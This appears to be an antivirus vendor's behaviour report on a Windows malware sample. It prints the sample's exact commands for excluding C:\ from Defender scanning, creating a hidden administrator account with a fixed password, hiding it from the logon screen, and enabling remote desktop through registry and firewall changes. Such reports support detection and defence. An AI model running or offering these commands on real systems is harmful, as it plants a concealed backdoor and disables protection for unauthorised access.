Technical Information
To ensure autorun and distribution
Creates the following services
- 'umbus' system32\DRIVERS\umbus.sys
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath 'C:\'"
Executes the following
- '<SYSTEM32>\net.exe' user defaultuserx StffXruf3331 /add /active:"yes" /expires:"never" /passwordchg:"NO"
- '<SYSTEM32>\net.exe' localgroup Administrators defaultuserx /add
- '<SYSTEM32>\net.exe' localgroup "Remote Desktop Users" defaultuserx /add
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 action=allow
Modifies file system
Creates the following files
- <SYSTEM32>\microsoft\protect\s-1-5-20\d2402fd0-dc77-4a2f-8c56-ff230e300558
- <SYSTEM32>\microsoft\protect\s-1-5-20\preferred
- %ALLUSERSPROFILE%\microsoft\crypto\rsa\machinekeys\f686aace6942fb7f7ceb231212eef4a4_d99ef00b-ccd3-4f1d-9980-90ac453b0b47
Miscellaneous
Executes the following
- '<SYSTEM32>\cmd.exe' /c WMIC Group Where "SID = 'S-1-5-32-544'" Get Name /Value | Find "="
- '<SYSTEM32>\reg.exe' add "HKLM\software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v defaultuserx /t REG_DWORD /d 0x0 /f
- '<SYSTEM32>\reg.exe' add "HKLM\system\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v "PortNumber" /t REG_DWORD /d 0xd3d /f
- '<SYSTEM32>\reg.exe' add "HKLM\system\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v "MaxIdleTime" /t REG_DWORD /d 0x0 /f
- '<SYSTEM32>\reg.exe' add "HKLM\system\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v "MaxConnectionTime" /t REG_DWORD /d 0x0 /f
- '<SYSTEM32>\reg.exe' add "HKLM\system\CurrentControlSet\Control\Terminal Server" /v "fSingleSessionPerUser" /t REG_DWORD /d 0x0 /f
- '<SYSTEM32>\reg.exe' add "HKLM\system\CurrentControlSet\Control\Terminal Server\Licensing Core" /v "EnableConcurrentSessions" /t REG_DWORD /d 0x0 /f
- '<SYSTEM32>\reg.exe' add "HKLM\system\CurrentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0x0 /f
- '<SYSTEM32>\reg.exe' add "HKLM\software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "AllowMultipleTSSessions" /t REG_DWORD /d 0x1 /f
- '<SYSTEM32>\attrib.exe' C:\users\defaultuserx +r +a +s +h
- '<SYSTEM32>\reg.exe' add "HKLM\system\CurrentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f
- '<SYSTEM32>\net.exe' accounts /forcelogoff:no /maxpwage:unlimited
- '<SYSTEM32>\net1.exe' localgroup "Remote Desktop Users" defaultuserx /add
- '<SYSTEM32>\wbem\wmic.exe' Group Where "SID = 'S-1-5-32-555'" Get Name /Value
- '<SYSTEM32>\cmd.exe' /c WMIC Group Where "SID = 'S-1-5-32-555'" Get Name /Value | Find "="
- '<SYSTEM32>\net1.exe' localgroup Administrators defaultuserx /add
- '<SYSTEM32>\net1.exe' user defaultuserx StffXruf3331 /add /active:"yes" /expires:"never" /passwordchg:"NO"
- '<SYSTEM32>\find.exe' "="
- '<SYSTEM32>\wbem\wmic.exe' Group Where "SID = 'S-1-5-32-544'" Get Name /Value
- '<SYSTEM32>\net1.exe' accounts /forcelogoff:no /maxpwage:unlimited
- '<SYSTEM32>\netsh.exe' advfirewall firewall del rule="Remote Desktop"
